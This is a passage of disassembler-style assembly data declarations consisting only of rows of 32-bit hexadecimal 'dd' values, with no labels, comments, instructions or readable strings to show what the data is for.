0CC9084h dd 836F7673h, 9BBA6E70h, 62100C00h, 51C12EADh, 2D190090h dd 0ED14A923h, 0B5EEF0CCh, 0BA337F01h, 4D8BAA7Ah, 99001028h dd 0CDD63CD2h, 89004E23h, 0A0588C32h, 99DA73Fh, 0CF70F8DEh dd 0C4098440h, 872F7612h, 69BA8E07h, 0D05D76h, 4D90D814h dd 0CFA5890Eh, 5E725805h, 0F8C0B005h, 0A878EA4h, 0EEA7C7DFh dd 485200E0h, 0EA649D41h, 0F7D99503h, 834AA86Ch, 0FCDA9844h dd 2641FE91h, 0D099B1h, 0B633782Ah, 1903378Dh, 0C3DDFC7Ah dd 7390AF57h, 39271EBEh, 0B8E1229h, 58A29119h, 69C098A9h dd 3E2E4913h, 6100844Eh, 8D290A10h, 41985Eh, 156A5AE9h dd 8ABF3E96h, 4B758C09h, 7B0700Bh, 0FDEE0681h, 9D8E3321h dd 0F758EB88h, 5CFACB2Eh, 74702027h, 0B4566F79h, 118A009Ch dd 0BA802327h, 720317FAh, 63092503h, 29FAD04Dh, 6B593C83h dd 70AD4F8Bh, 1ACC8C00h, 0DB26346Ch, 0E100B6ECh, 772F7FBAh dd 367FEDh, 523ACB66h, 58E41EAEh, 3ABEBF3Ch, 5CC00F9Ah dd 99B9002Eh, 1F1980h, 36D9D60Dh, 27FEB668h, 588F5C00h dd 0DBD23B45h, 0C3A900BEh, 927C85A6h, 0A40070ACh, 0B367A0D6h dd 0BEED4Ah, 0E9CF152h, 0FBE7182Ch, 5BE5E300h, 0BF3DC991h dd 0F81501AAh, 0FF2C4146h, 0F6D3C09Ch, 0D15E0C07h, 33719F0Ah dd 0D70D26Fh, 0B872E6ABh, 0E6030027h, 45B0365Eh, 22018DE0h dd 0FDB70135h, 2BC07Eh, 583C0C5Ch, 3600F968h, 0D8C4A80Ah dd 3C15016h, 0C529E611h, 0C7A760AFh, 46F5C0E0h, 0B400F7C2h dd 0A59743A9h, 5A84C61h, 0D12911FCh, 0AFF480F1h, 0BD03677Fh dd 2A4639ECh, 9692077Bh, 0D4758D48h, 5C74F09Fh, 0C3443000h dd 512283BBh, 3AFF00B3h, 0BCF7EB2Eh, 4C00ADAFh, 0FC19DD46h dd 94CC9Dh, 5E242D52h, 6E92F6DCh, 0C53A48h, 916304B9h dd 130EFD3Dh, 0A253DFC2h, 88DA2180h, 5047646Ah, 92124E45h dd 813558F4h, 0BC273AE1h, 0DC3382EEh, 0CB28A450h, 62C231h dd 5163BAh, 5A205BCDh, 260E2DA9h, 0BB7D8500h, 0D3A6E0A2h dd 0EC9D0098h, 0BD417AC2h, 300062A4h, 96DE5612h, 1257B2EDh dd 0BA030ADBh, 0B5D34C02h, 0E1C07459h, 2207D1h, 0E2C50Bh dd 9805630Ah, 0A2A9422Ah, 0A4176B00h, 0F4EB1595h, 0ABEA03D6h dd 0B6E4D2C1h, 50121CF9h, 0E15693BCh, 0DE88DC54h, 0A5BC8CFh dd 0AE007452h, 0C11A8434h, 26110004h, 48645958h, 894CAFD2h dd 504A0BB9h, 78B20030h, 0DDC051h, 0C7D0275Dh, 96B46C7Dh dd 53056E7Ah, 7B2F2EE2h, 716180EEh, 8E0052F6h, 6F78C541h dd 21A3A2Ah, 0B9E20466h, 0C0DF4B0Bh, 0A78704h, 0FABDC5D8h dd 2B1135FCh, 237C7E03h, 0F8E6E120h, 90D39ACFh, 0FA890096h dd 0A2E4216h, 5300C15Eh, 3EAC78CCh, 0FE94BAh, 0E2055A15h dd 0E52237EDh, 0B9006CF4h, 74629FCh, 0FA3B648Dh, 0FF5E0023h dd 132D8B15h, 98009BD6h, 11F61888h, 1EB38712h, 0C17AEFEBh dd 222E164Ah, 2C8261CDh, 58F71E1Ch, 8903FC68h, 0A1161070h dd 0C9A371h, 22413821h, 1AF485F9h, 0EC8AEF0Ch, 8CCC4968h dd 0D634A979h, 24484015h, 52D7809Fh, 0EF962622h, 0B8C5ED00h dd 0AD161866h, 0F3A72893h, 3B67DF0h, 0A5336D69h, 7AAE5682h dd 9483DE5h, 0F2AFE15Dh, 7E9D006Ch, 89BBEA53h, 0A31D0330h dd 801937D1h, 53D4A621h, 0E0C10016h, 0F9D8291Dh, 9360FE47h dd 327891C0h, 0BA130F4Dh, 54C22358h, 3090E25Dh, 0E5115385h dd 968881BBh, 52CDFF80h, 5015B0F9h, 7E58801h, 69396EA7h dd 3A7DA016h, 0BA065E02h, 0E4616689h, 0E57064h, 29D084A9h dd 3435687Dh, 9FA7BE00h, 0AE94B0D9h, 0C78B00D6h, 83C4DDF8h dd 0C800D41Ch, 34AB57A3h, 0C2FB8Fh, 0E9242ACEh, 0C96D1FA6h dd 0A7A3CF00h, 116E4F63h, 1C080019h, 0B5AA9A35h, 403BA8EBh dd 69260058h, 56DE8A49h, 44F41Bh, 2AA325DCh, 7447D572h dd 69B9A807h, 0B1D7CFDFh, 93F7DA40h, 0D92C0089h, 74290364h dd 7100D259h, 0A6885A0Dh, 7F57F63Ah, 7E2C0F28h, 78033430h dd 18003ED4h, 0BC9219ABh, 3C9C1B1Dh, 9F9CF36Eh, 917680A2h dd 0A553A613h, 0AD00A874h, 931569CEh, 7653309h, 0E22639BDh dd 6B7B12ECh, 0DCFE10C1h, 0DD09C144h, 8E96B1FDh, 2A0A0017h dd 0F4660Dh, 761C3DC5h, 6BD6995Ah, 77AA1D0Eh, 292674Ch dd 707B4BE1h, 48D59CCh, 322369C4h, 0B91280A7h, 4E01C6C2h dd 949ACE74h, 3B31A271h, 0B19430h, 0C255C745h, 82FB1E4Eh dd 0AE0A370Eh, 52CC9FFEh, 1F5DC890h, 3CAB6693h, 86D43A07h dd 0F5F4A04Fh, 0B33A5381h, 49599D17h, 11C0E75Ch, 0B5E8656h dd 5C7A00D5h, 0F962FBFEh dd 1C001989h, 2BFF7924h, 0C79F8BA7h, 73205240h, 7DF0749Bh dd 0CBFE895Dh, 73AF9800h, 34284035h, 27DC05C1h, 80C64D94h dd 6049E89Bh, 9F00DE7Eh, 96EC225Bh, 71BC9Ch, 0FCEABB64h dd 0FBE11D2Fh, 0D58F0306h, 17485852h, 1AD2F6h, 0D1209372h dd 0C93E762Bh, 0A9360EA4h, 0AABC1347h, 0DA1F0F01h, 0ECADE9A6h dd 0F2003B03h, 0CE1A4FD9h, 1F3366BCh, 40441B02h, 0F65DB93Dh dd 6E0057EDh, 0DA6A404Dh, 33A0C8Ch, 9BFB43A6h, 33C05031h dd 40005668h, 0F718ED9h, 0ECF8AFEh, 11F0FA72h, 1FD7C080h dd 0B70084F4h, 0B13121D4h, 3B61410Ah, 8B0042C7h, 7FF91198h dd 0DC388997h, 49685F7h, 0F40035DFh, 264D1356h, 3D0F678h dd 5CC397FBh, 0ECC065D3h, 7400EEB7h, 160CFE1Ah, 7D0E604h dd 41251F9Dh, 7AAA60FDh, 37003D8Ah, 2F18EC68h, 50249F94h dd 2259C43h, 0E9983BDCh, 88AACBF1h, 99C001Ah, 75067B2Eh dd 0DA322700h, 1DDE85B8h, 371600F1h, 171B52B1h, 24003861h dd 187513E6h, 1F264433h, 4783CB68h, 40AD57B8h, 8258B423h dd 0C7EAB000h, 0A2EF9B2Eh, 96AC006Ch, 2A260FB1h, 71041C5Bh dd 77F4C3FBh, 517D097h, 4B434FE0h, 0F7C907C1h, 117015CFh dd 0E0CE0348h, 1EC7BEDh, 372AD800h, 7C89D5E6h, 46990018h dd 0D7402B14h, 1074221Ah, 2C8C70Fh, 201BA947h, 0AA609F14h dd 67E4D2h, 0CCA87708h, 0B4466E84h, 0FD46301h, 991E0765h dd 5651E8F3h, 4FC302F9h, 11DF060Dh, 7BFD4840h, 4CE73C3Ah dd 2D341F28h, 0A880FB1Fh, 0DA976495h, 3E7A142Bh, 0F5009002h dd 0CC45C02Eh, 1B704146h, 25909700h, 42B35094h, 5FD3139Eh dd 0CFA1057Dh, 380086B9h, 7F375200h, 0CDF384Ah, 8E25002Ah dd 485BB6BFh, 0DE303320h, 0D4B2827h, 7A807F6Dh, 32B01EA8h dd 1082C099h, 29D2506h, 24FC3A00h, 7CB1D65Dh, 74A80721h dd 0CC6764ADh, 4D031F58h, 118E7861h, 177AC039h, 7C6A0089h dd 0AE3CF1ACh, 38003D80h, 5F201F34h, 0B84D0F8Dh, 0A5F21443h dd 7C30A350h, 45B27B31h, 0B8232B00h, 0E6D99EB0h, 0B8C374C6h dd 3D4D0015h, 0BFCD0EF3h, 0C501390Ah, 2E861256h, 93E01F06h dd 27EF0008h, 0CF0F2078h, 4678D28Dh, 9A25D5Ch, 299BBFh dd 30AFCEFCh, 0D64E00AEh, 2256A88h, 14013124h, 0C05ACCC9h dd 0BAF48727h, 2C7B0703h, 0E0D354B9h, 4F80F2FFh, 0C7914400h dd 0D73BF95Ah, 0E9B50026h, 1CEE86D2h, 0E10C4946h, 98D6DF2Fh dd 0D9DA0044h, 173CE590h, 0C3001E57h, 31D7828Dh, 98BFAE40h dd 768C007Ch, 0C6A9FC03h, 6D24D443h, 0AE006835h, 18F0F974h dd 4628C03Dh, 0CC59E8F2h, 72F68507h, 8C20B6B5h, 481447h dd 3B57CF0Dh, 8981370Ah, 158E3Ch, 0E52F9AF0h, 4A32D380h dd 86DB003h, 0A41CC400h, 3CC2E3A3h, 76432684h, 437C1D8Ah dd 0B7EDBAAEh, 5353688h, 0C8777300h, 810B4F8Dh, 29F0E567h dd 58F8E3h, 4112A527h, 46ED1302h, 660EDF0Eh, 1CCB3CFDh dd 0AE9C2122h, 83C8D5C3h, 0AF2A0024h, 0E4EA820h, 0A200964Bh dd 0F5E4BD86h, 75AD95Dh, 5012F9B8h, 60A34053h, 0A6004A7Dh dd 58886465h, 6295Dh, 0B86A5087h, 0D2A2257Eh, 85613803h dd 25670C8h, 32A90520h, 286153AAh, 7691D0B8h, 66312307h dd 0D59057BDh, 1E41ED9h, 452E2C6Ch, 0F4A1399Ah, 930069E0h dd 6879BBAEh, 60AF2DB0h, 0E32C9407h, 0B101536Ah, 0FA6BD8E4h dd 39D890E5h, 78687C61h, 0F597078Fh, 0D0F4B9D2h, 0CD04D9E3h dd 0F27F1E03h, 804B49E6h, 321458h, 0CEEF4ACh, 0FB163080h dd 0AF38ED01h, 5F6A7406h, 0B999C0h, 6C692CADh, 0A2BEB309h dd 3E949748h, 489802Fh, 0B8F74DA3h, 0E0C53FA8h, 0C1FE3601h dd 30FFE1BFh, 1A0B43ECh, 30D065h, 7E5C2447h, 0EE3A0023h dd 0CDB91C9Fh, 8200C7C3h, 140580BAh, 513B2Ch, 78DAF81Eh dd 0EEF001DDh, 903FAE0h, 0D65BBA87h, 0DB89C8F9h, 20FB0072h dd 378574Ah, 140036C6h, 30EF4BFDh, 6FBED2h, 8584D60Ah dd 4C35700Bh, 61C421C0h, 0F45AE5D8h, 8F5001EAh, 0E2D35D7Ah dd 911424E9h, 3F63BC00h, 0A467EC35h, 0FE80E19h, 0FA205597h dd 0C86189A7h, 2CA8ED00h, 0A3D02BBAh, 46EF00CCh, 9B1E6326h dd 5400E197h, 7E15078Bh, 867775h, 7FD1E90Bh, 896A1079h dd 0DC9D2F0Fh, 7D9FA03Dh, 0C1344C6Fh, 62304280h, 0D5CC3056h dd 0B97A1D16h, 0A577E100h, 50CF7175h, 26E31074h, 6454C4Fh dd 282377B3h, 485894E6h, 62210F94h, 0E04963B2h, 0D2100340h dd 37BF158Ch, 7605BC7Fh, 0B7E84248h, 40CF9EC0h, 38A72AC1h dd 1D217E84h, 17EDCE8Ch, 3F5841ACh, 64EE0C45h, 14007D1Ch dd 566DA567h, 507CD64Fh, 1E87084Ch, 412F445Ch, 0CBD94658h dd 595C41EDh, 0D2518052h, 2F4A584Fh, 7014AEE4h, 0C8E0D8E3h dd 6A078377h, 0B6F71CE1h, 8FBE0EE0h, 0A31300DCh, 3B28E9D0h dd 0C8001A19h, 6285FAFFh, 518DB1h, 0B71ED70h, 0E0ABA932h dd 0F1163100h, 0EEF35F4h, 7107FC5Fh, 1E614h, 3E6DBCEEh dd 0D4A29DCDh, 0E7D67A01h, 8FE6C46Ch, 17FF5E4h, 0DB016169h dd 50069C25h, 40493E84h, 979FCB00h, 812BBF4Fh, 1EF700A3h dd 9EFBC360h, 33284939h, 7B00A81Ch, 344EE1D9h, 30288EC9h dd 0A6F1599Ch, 0A70563E0h, 3FCEAAB2h, 68B9C440h, 3CEB6176h dd 88003E16h, 0D2A9F1FFh, 70003197h, 0CF6D9BBAh, 55EE81h dd 167D40A5h, 0A6670390h, 0D0E79F8h, 0B648B147h, 78A4E507h dd 6227CA40h, 42A04B5Ch, 1A6AC32Ch, 0CDD78077h, 0C9FB917h dd 58231835h, 7FF47DA1h, 9B3DAD00h, 4E6280CFh, 795C9218h dd 0B5A60013h, 3F525F74h, 0FC010FD1h, 0B10AD7AFh, 7DEC570Bh dd 11680115h, 6D191AF7h, 95A050F1h, 48C02B8Fh, 5B720647h dd 0A64D0089h, 3D17F2D9h, 0A830706Dh, 0D14938F0h, 5D0607D7h dd 0B34BB5C5h, 22D02817h, 0B300DB1Eh, 3B5EC16Eh, 5BDE63h dd 23F366DAh, 3E214385h, 4C6C5900h, 1D164B3h, 71460082h dd 0DB51C69Eh, 170F4986h, 40BCBA53h, 2C6B48A5h, 2DC80FCAh dd 6A8110CEh, 30036731h, 0F40FBBC1h, 406CBF47h, 81D1DAA6h dd 1CA57B0Fh, 0C09EC41Ch, 0EE2E1921h, 1DEC6E3Bh, 0A6FAA7FCh dd 4C00ADFAh, 0DA481F24h, 1C73275h, 1386878Dh, 0E16D18A1h dd 970460DBh, 0F2C60F01h, 0D466396Fh, 463D094h, 0B3B8ABh dd 284484CFh, 0D5B1BB8Ch, 7E0618ADh, 1106C9Ch, 0F45FDBCh dd 60447ADCh, 0B2005DD9h, 146B2FFCh, 65EE67Fh, 8CBD63D9h dd 0B842291Fh, 6AD26E08h, 6F8E3210h, 0C6C2111h, 0DE512D73h dd 83911F3h, 1115C011h, 8615D6ADh, 2B702943h, 28423489h dd 763C854Dh, 1E961404h, 0A9422848h, 230224D0h, 9C44C4D5h dd 9AD34610h, 64AE50A1h, 0F015448Bh, 0E1E029C1h, 9CFC92C6h dd 3F561CBFh, 4CA6402Fh, 9B8ABE38h, 0FFE6FA90h, 0D5A7CC00h dd 0B75059A8h, 70BC7EE5h, 6841003Ah, 88BDE45Fh, 0C0CFFC8Dh dd 228560E7h, 1F0642EBh, 0CFE42695h, 0C3A02AFEh, 80166669h dd 0A7079973h, 838994CDh, 0C0F69FF2h, 3F8E406h, 0B8755CA0h dd 0AEC90DC3h, 8F89C8C1h, 884E9B00h, 0FDD28DD4h, 0B2766Fh dd 5814A235h, 0CF159693h, 9B0A6D00h, 0A33D366Eh, 0CB453EBBh dd 0C380AEB8h, 42DD18E6h, 880029DBh, 7BBE6A0Ch, 2F0133h dd 57529C02h, 0B2DA5C36h, 0FAD81001h, 62B10E93h, 788930h dd 4B999465h, 4551EC92h, 8C2CCF00h, 0F84E6C7Eh, 9CDE289Dh dd 566A0093h, 7C691693h dd 1E600C46h, 0BA82AD5Eh, 860D4C54h, 0D473D900h, 923AA8C6h dd 0BB00F9B0h, 0A13648FFh, 1B4BD91h, 51A47FBEh, 0C49C505Bh dd 674809A6h, 896D3A78h, 9B9138h, 10981B45h, 6ADF062Ch dd 0A2FE312Fh, 4A5FA21Eh, 0E9D17240h, 3CE36F81h, 0D8000908h dd 0ACBF896Ch, 5B006D29h, 841DDD3Ah, 523F37h, 4EBC1FB2h dd 3D7A39B9h, 0BA1C8100h, 9ED44CA5h, 0D8DC0790h, 20598636h dd 0AB296003h, 0C8757D00h, 0F0B213F2h, 12D90041h, 453A1BCFh dd 9700B4FDh, 56A165E5h, 0F820DA01h, 0BD310EB0h, 0C802C24h dd 0DED9BEBh, 42506800h, 1417C64Dh, 8CD0030h, 0C243615Ch dd 64F2A5E0h, 48896600h, 0AA598A06h, 2676073Ah, 300CA317h dd 98FFF9Fh, 0F9532900h, 53D2FA0h, 73190024h, 44E132AFh dd 9500500Fh, 9D11812h, 0EE11D7h, 40564A4h, 4A3DD9DEh dd 0E6B1D00h, 0D007765Dh, 0E6370002h, 0B9104B9Bh, 0ED00D908h dd 17EC56EEh, 0BACE0A4h, 2B52B0D2h, 6337E4E0h, 0E71E840Fh dd 33E18059h, 0F8FC5Ah, 0D10DDD11h, 0F4E6B480h, 0B8AC4F00h dd 0EBC32A8Bh, 0B27237h, 6BA50715h, 9A65C689h, 43B94B00h dd 0EE7EBE6Dh, 0E6DF0026h, 0E1FAFE48h, 717220DCh, 7997FF00h dd 0B935CF25h, 7878A1h, 0CB484D63h, 9F584FC1h, 0CEDB9B17h dd 50A2ACA0h, 15D0B8h, 5FED7932h, 0F6AA1CD1h, 0C0475000h dd 0C3951FDFh, 69B90387h, 464E0ACBh, 17D09DC3h, 60E49649h dd 97133D00h, 0C0D6B8E3h, 0FA9106BBh, 0E84A2310h, 8690FD54h dd 9442F206h, 184C1Ch, 67D9810Bh, 8E8B920Dh, 0A353826h dd 63018717h, 0EFC1DA53h, 4A4DA081h, 41E31EA9h, 0C4488FB0h dd 0CC3CF02Dh, 0B4DB00CBh, 0EE1211F5h, 0CEA700D8h, 70937B41h dd 0BB0014DFh, 472E51F0h, 1273A90Ch, 0B5552Ch, 0ED25456Ch dd 24E0F7D7h, 0F868A41Eh, 0C00E452h, 0A2E9214h, 931500C5h dd 205FA986h, 7900D809h, 0ECA52247h, 32F246h, 66B2FB12h dd 2059285Bh, 0B443D400h, 4070537Eh, 8EF7539h, 0B65BF196h dd 56810200h, 1BBB2h, 8B0FE0F0h, 65E1C27Eh, 0FCD25250h dd 0D6680900h, 0A679D347h, 58500A8h, 98C37F51h, 0D91ED114h dd 421CFEDEh, 886786C0h, 0EAD79Eh, 0B1540D4Eh, 0FFB22C91h dd 0A7965E05h, 0EC003B63h, 0A3BFF08Ch, 380C00DEh, 77B35C25h dd 18017CBAh, 0C4844D31h, 40F4598Ch, 0B075006Ah, 1D37D53Dh dd 2828741Bh, 8575BCFEh, 0CF7A7900h, 204EC267h, 66C8A8CDh dd 0D9310E62h, 9127CEF5h, 508D03E8h, 0FDC895EBh, 20329312h dd 0C0FA6049h, 30FB4Ah, 26CFEC9Ch, 0ED3A4552h, 0D6D26900h dd 9A441E36h, 0C2900022h, 5F5D9930h, 6900CEDDh, 508EEDADh dd 0AC915h, 0F1664298h, 4B5BB52Bh, 3BC62100h, 23C8DBD4h dd 0C74900CFh, 2F52FC26h, 0FF00484Ah, 7FD68D2h, 0A61E20h dd 3C77997Fh, 3D560911h, 32B68607h, 4751432Fh, 820E7EAh dd 0E6591F8Dh, 1E8CE44Fh, 3CD88242h, 1860EF5Ch, 0E20056F4h dd 0CAAF3D6Bh, 5DF7B4h, 238B8743h, 63B2DDC0h, 95EA8C00h dd 699141E3h, 829700DAh, 428D48EBh, 83003086h, 0A3774313h dd 0E5C9C5h, 57D58A58h, 75F81C2Dh, 0B03C2A7Fh, 70B86AAh dd 30A8641h, 0BC8BCC79h, 0BDF858F4h, 59007DD8h, 996D144Bh dd 689E8Eh, 1CC73752h, 0CFB5B279h, 0F79FE70Fh, 0EA12A73Fh dd 0D90AEBA0h, 0EDD0074Ah, 613C330Bh, 40C18388h, 39CF3EB4h dd 0DBAE7107h, 73605482h, 94B64DEh, 0D5E856A6h, 0C78A5420h dd 0C000DB52h, 0BB46A239h, 0E6376996h, 0B5EA0001h, 4BF893BAh dd 0AC00877Ah, 0A0F5CB19h, 4C5D0F5Ah, 0E90908E6h, 4C80D9A8h dd 0CF4A94FDh, 0F6726E00h, 4DA531ACh, 0DDCD00A1h, 0E7C038C7h dd 0F41E4355h, 30C05DE6h, 0DA0737FBh, 23660046h, 48FD583Ch dd 67008FD4h, 17DC4ACCh, 36805CAh, 227532C8h, 14C9A395h dd 6F99E37Ah, 0F49DC861h, 2B13B700h, 64AB0677h, 0C0BD0024h dd 8734117Bh, 8FFCA0A3h, 4AF23D58h, 0B33B06BCh, 0E8F2D900h dd 0A127E073h, 5B1D78E8h, 0FDDD32h, 0FC4BD558h, 8764DBh dd 1BF8F155h, 197D97EEh, 0B06A675h, 0D8BBB069h, 0F95800FAh dd 6484E826h, 5A01F60Ah, 0E408BD6Eh, 0A8211BAAh, 52BE30h dd 0CDE5DD86h, 5D93A362h, 0E1108700h, 96D776D9h, 51F00Ah dd 1EF14643h, 0A7DFD51Ch, 0CD5F7700h, 0A83EA416h, 0EFBC00FFh dd 0AF7AB4D7h, 26018B60h, 47BACFD0h, 0F07E78B7h, 41007797h dd 2D6CBF10h, 0F5AF59Bh, 0B1AED1F0h, 900C007Eh, 9167988Dh dd 0A357DA07h, 41B037FDh, 1DB9FCD5h, 0C071EBC8h, 1F176E06h dd 0CD00F99Bh, 24E41590h, 3D3EBF7Ch, 0E1C83BC9h, 0EA1F700h dd 95AA0651h, 94376100h, 422AC2D1h, 289E7229h, 0F4F4F54Ch dd 5B530020h, 0B5261F1h, 7F008083h, 400DA014h, 0AB4FA5h dd 6AC837DEh, 0C26C514Dh, 2B5F9100h, 3302881h, 3F7D05EAh dd 0E90D56h, 0D2A874F8h, 4200DF87h, 6CA1205Ah, 949C5D9h dd 4AEF81BFh, 0B1E3D200h, 2001AFAh, 77E6420Eh, 18515Eh dd 0FEB9D247h, 8AB7D84Eh, 21715500h, 0EB7AE54Ch, 1431EEBEh dd 0AAE20923h, 0B0A05D00h, 59BBA6ABh, 83BFE900h, 53E8DF3Ah dd 3163073Fh, 402EE4A0h, 0EC6ED618h, 0F601FF7Bh, 4CA3D0B6h dd 0EFC82C45h, 347BFCh, 0C11D57DEh, 69FB53B3h, 0FDB2771Eh dd 0A3671C40h, 7665FEh, 10611F9Dh, 386F0D70h, 32A8BA00h dd 6C420589h, 2C9006h, 22E56D30h, 5DA2CEA9h, 0F0484C00h dd 0AEDACC23h, 67401D41h, 0CD0D8FFDh, 25F31820h, 74003349h dd 4B7234F4h, 9ECB12Fh, 843B3D4Dh, 80AECB04h, 0B40B622Ch dd 0C3E31300h, 5F619611h, 0FC3C00C5h, 0C1A1214h, 6DB8E6C7h dd 0B579E02Eh, 67479030h, 4FF62639h, 902500C0h, 9B66663h dd 89000E70h, 834E852Ah, 0A16958h, 0AF91E556h, 0BAD5956Ah dd 7A245D0Fh, 4AC2C05Fh, 4BEED02h, 0D16EA3E5h, 0D76AC020h dd 4F00CB12h, 0D529BCF2h, 9A6856h, 0EAE9BFF3h, 361C1718h dd 4C4EB900h, 420BD965h, 0CC903A83h, 8FAC890Fh, 12DF9A40h dd 7400A334h, 990DC19Eh, 7A58B01h, 0EE59C4E7h, 4D5861D9h dd 8E8DECF8h, 0A6D75100h, 0CEBC4605h, 0A07AF616h, 7819CCB4h dd 42A803DAh, 5CC46CA0h, 8FEF801h, 156DB0F9h, 0CCA560h dd 12A49FB1h, 892941E1h, 0B9948000h, 0E4920149h, 0E2FB390Dh dd 9657FC80h, 2AC0D5F0h, 2CF37500h, 0C5B19439h, 17C09890h dd 0F1E035h, 7A02E41Ch, 67007862h, 0A5F6C22Bh, 70DEB534h dd 0ACDA0156h, 7C04124h, 9FFF303Ch, 658F4500h, 3B621B42h dd 0F8D53955h, 0FE8EBBh, 9A548573h, 0B132C6C1h, 7C843Bh dd 0F2918966h, 31EC10h, 44DF0848h, 8D0D647Ah, 0B1264F00h dd 5B10DB42h, 1CD1013Eh, 2E77307h, 166FF0FCh, 8A97A200h dd 0A7047B47h, 44350058h, 344F2B41h, 6D00F148h, 312D80DBh dd 0BAAFA56h, 9F1CCE33h, 1A63E100h, 0E300244Fh, 475983B7h dd 106AB05h, 0D4E69E12h, 80AE182Eh, 0BDE39710h, 0E0959B74h dd 0CE23391Eh, 5BBB7780h, 0C97825CCh, 6926B502h, 0E8D63DE3h dd 0F6A9BC10h, 0E7600B3h, 0E8F14D88h, 100B2B8h, 0E6299D32h dd 3FB8C51h, 3881CB71h, 8FE89336h, 0AB492CFFh, 1A238004h dd 63885Fh, 0A2B5280h, 0D87B0BC9h, 283EB603h, 0A057CD49h dd 9AD64F3Bh, 731F0918h, 0FCFC8D71h, 0CB000826h, 0D29DEF23h dd 0B746006Dh, 0A40AD940h, 1E003F6Ah, 0D33D9C66h, 88E650h dd 0AB91CF1Ah, 0D17A198Eh dd 7B4C6500h, 475AA36Fh, 0FFD33D0Dh, 3E97F581h, 0F9CA414Bh dd 33D02087h, 3D22170Fh, 0DE6D808Bh, 125F7942h, 40E8BE2Eh dd 258A6867h, 0BD00CFFFh, 0EE306EDEh, 0AFC562h, 39110D4Eh dd 5CC66999h, 9A909C00h, 4441599Dh, 818B16BEh, 0C9004048h dd 25AEADA8h, 0B5C56100h, 0BFB0C8ABh, 2E28004Ch, 845CF81Fh dd 82E70BDh, 8BED898h, 87EB88E7h, 0E0012A37h, 0B7EAA4D7h dd 9852D02Ah, 76AD401Dh, 9394A380h, 1CBEE33Ch, 47D4A8C4h dd 20A75510h, 0E2442811h, 0C731EF00h, 966F3AA1h, 3C909Ah dd 0ADF40B9Bh, 0A5096950h, 0BC899200h, 0B9054DC3h, 38B05Dh dd 0A6360E1Bh, 2ABB4833h, 77BE6700h, 0A7D9A064h, 0D02C48B8h dd 0F8632Eh, 4ED9A7Fh, 210088C1h, 97845A86h, 17C5CAE5h dd 0DF1CD2h, 22CFDB60h, 2900067Ch, 8FFC43B1h, 0E1805Ch dd 449FE60Dh, 1D3BF660h, 0ED04BC7Ah, 194B1551h, 7E34ACC1h dd 7FB370h, 82836507h, 0B667BC73h, 97610400h, 1E897606h dd 66A100F3h, 0BD790DD2h, 0A90087FFh, 84E52E78h, 275B4885h dd 54008F91h, 0C68B6D7Bh, 0D4AFB026h, 0FC518300h, 3EE7E317h dd 3C80259Bh, 0B8AB3954h, 0B10F53A0h, 0C04D7487h, 7A262320h dd 0CDF102F7h, 0C6FE6ADCh, 0AA2C04C0h, 44A7E500h, 0A2A5C152h dd 0B1D84C87h, 8312B558h, 4F04C0F5h, 9D50227Ah, 9FFE05FCh dd 49BC8C04h, 4042E9AFh, 9DC336D8h, 8F3069B8h, 0C8048h dd 5CC1F093h, 16CE742Ch, 159A239h, 0FA0F5F38h, 0A948D835h dd 2F9F4401h, 908EF911h, 0D3023073h, 0CB059846h, 30E2405Fh dd 0AF3D3DFCh, 2BDE4482h, 60404AA1h, 133A59B5h, 0A9CC009Dh dd 0CA066B8Bh, 0C3F6004Bh, 32683C87h, 1300E60Eh, 0F1796C1Dh dd 0E45EA57Eh, 56EC03BFh, 8726B15h, 0FCCD98B9h, 170088CBh dd 61A4DB28h, 1540ECCh, 168D91C1h, 24EDAF13h, 0D6EE5FF0h dd 0ECEA4A00h, 70BC52B9h, 90314964h, 0ED204503h, 4290AF7Fh dd 81050469h, 4BA63999h, 0C0E7B891h, 8700043Ch, 9E5572DDh dd 62005FCEh, 83A2EB14h, 0AD3DACh, 9F63A835h, 207CCBA0h dd 0C5968809h, 0E72C80C7h, 1C6B55h, 0D8D0093Dh, 0DA9DEADCh dd 0C030FE07h, 9863A841h, 718B904Fh, 0E8E2001Ah, 0E42BB3F9h dd 0F5E64681h, 257F809h, 1D4080C3h, 0FD6CF340h, 61D77300h dd 91E24Ch, 388F98AEh, 0F0E89Eh, 8394ACA8h, 5DE4DD2Fh dd 197D8E12h, 80A164C0h, 720B27EEh, 5C93B010h, 285B5639h dd 7E09E0ACh, 0C094434Ch, 2C0EF5Ch, 0E1D9FAA8h, 0B9C0D2CAh dd 500602Ch, 0B53D6BB6h, 18469ED4h, 590C522Ah, 0F40202D2h dd 77BC7133h, 9830E323h, 3ED07C1h, 85085A1Bh, 55F9F10Dh dd 0EAD0300Bh, 0F38298C0h, 24084403h, 0CD801A3h, 9389A612h dd 20E1D807h, 0A03F4E40h, 0E2A1ACBFh, 0B23201B9h, 10FFAA84h dd 16DC30ABh, 980F4100h, 9C3E9658h, 57110C6h, 7C1F01E9h dd 80974356h, 774ED2ECh, 0ACC20065h, 20BE4DF4h, 0CE0E7E2Bh dd 0C0C95359h, 0CDB9CB0Fh, 97E20054h, 0B21C0728h, 0E71669F4h dd 0CE0A9AA8h, 52049CABh, 93213D8Fh, 0E6B181FCh, 0BA82A110h dd 0B76930h, 0FF1B6F8Eh, 0B835276Ah, 6D59F41Eh, 0D180F69Fh dd 0C9603D7Bh, 0F81D2404h, 1C2E0024h, 2E65F49h, 0F7675100h dd 4CF2FC0Ch, 0FF1E00A9h, 1FA41C0Fh, 170064EAh, 14404367h dd 32B8C83h, 79471286h, 8EB2851Ah, 0E836D280h, 7800BD4Ah dd 0DEFA0AC7h, 1E472559h, 5C5428Ah, 2788A3C2h, 0D7E9204Ch dd 0B90EA139h, 8082925Fh, 90FB2365h, 9BD12481h, 0FD880FACh dd 8802BF85h, 8C0EACFCh, 393CEEh, 0B1A5E215h, 277D0BE7h dd 0C825E91Dh, 23AC53h, 0E637010Ch, 7A1F548Eh, 0C81417BCh dd 260402BEh, 64C4CC83h, 38FDB22Eh, 5B00D020h, 2BB7C4E0h dd 571227h, 882C4025h, 8F651F04h, 5A070E00h, 0EB4895F6h dd 30561CC8h, 9F74DF42h, 92825F87h, 0F0C04DFh, 71EC88BDh dd 33EC8426h, 42B75F02h, 20F180ABh, 1E16D6F9h, 80C09ED5h dd 68F85628h, 0D10FDB0Eh, 2EC1FDC3h, 8BA180CCh, 174B979h dd 113C0D7Dh, 70692065h, 33029D15h, 0EE4781FDh, 88386889h dd 0FEB900F0h, 86CF1395h, 0AD7FF6B8h, 0AF0BE470h, 985C2DA2h dd 2C515708h, 7F4B42h, 6BAD7EBDh, 683E5089h, 11E780CEh dd 1D1F7ADDh, 88291D20h, 0A89741EFh, 0F093FE28h, 9F0059EBh dd 